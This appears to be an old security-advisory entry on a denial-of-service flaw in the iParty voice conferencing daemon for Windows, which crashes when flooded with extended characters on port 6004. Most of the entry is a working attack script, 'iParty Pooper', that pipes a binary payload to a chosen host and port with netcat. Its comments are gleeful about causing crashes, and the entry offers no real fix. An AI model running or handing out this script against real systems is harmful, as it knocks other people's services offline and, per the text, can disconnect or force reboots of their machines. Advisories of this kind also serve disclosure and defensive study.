COMMAND
iParty
SYSTEMS AFFECTED
Win with iParty
PROBLEM
'wh00t X' found following. iParty, by Intel ETD, is a small voice
conferencing program, which includes a server daemon in the
download. It is handy for quick internet voice chat, but the
server can be killed by sending a large amount of extended
characters to the server port, which is 6004 by default, without
being logged. The daemon either crashes quietly or GPF (varies
from box to box).
This has been covered already in:
http://oliver.efri.hr/~crv/security/bugs/NT/iparty.html
but this matter needs further attention because this vulnerability
may be worse than thought: test program (below) was tested against
4 random Windows 95/98 boxes with the daemon running, and after 2
or 3 crashes in a row, on top of crashing the iParty daemon, some
experienced disconnection from the internet, ICQ and/or
Rnaapp.exe, and one was even forced to reboot after the Rnaapp.exe
crash.
#!/bin/sh
# iParty Pooper by Ka-wh00t (wh00t@iname.com) - early May '99 - Created out of pure boredom.
# iParty is a cute little voice conferencing program still widely used (much to my surprise.)
# Unfortuneately, the daemon, that's included in the iParty download, can be shut down remotely.
# And in some circumstances, this can lead to other Windows screw-ups (incidents included internet
# disconnection, ICQ GPFs, Rnaapp crashes, etc.) Sometimes the daemon closes quietly, other times
# a ipartyd.exe GPF. DoSers will hope for the GPF. At time of this script's release, the latest
# (only?) version of iParty/iPartyd was v1.2
# FOR EDUCATIONAL PURPOSES ONLY.
if [ "$1" = "" ]; then
echo "Simple Script by Ka-wh00t to kill any iParty Server v1.2 and under. (ipartyd.exe)"
echo "In some circumstances can also crash other Windows progs and maybe even Windows itself."
echo "Maybe you'll get lucky."
echo ""
echo "Usage: $0 <hostname/ip> <port>"
echo "Port is probably 6004 (default port)."
echo ""
echo "Remember: You need netcat for this program to work."
echo "If you see something similar to 'nc: command not found', get netcat."
else
if [ "$2" = "" ]; then
echo "I said the port is probably 6004, try that."
exit
else
rm -f ipp00p
cat > ipp00p << _EOF_
$6]}tTյ?"̐ap/HD0iAL%̂EBEԁ'*}yԥ(3znuԏj+(֗քd'ZiXy7'``ϝ Cʹ>ܐE6^^v?^:{n"u'g=o8Ӂ'L5"鲱ᤁDRGIlqYgiiվHHwὲ3l*o#sC9m,
_EOF_
echo ""
echo "Sending kill..."
cat ipp00p | nc $1 $2
echo "Done."
rm -f ipp00p
fi
fi
SOLUTION
Well, still there are other programs to use...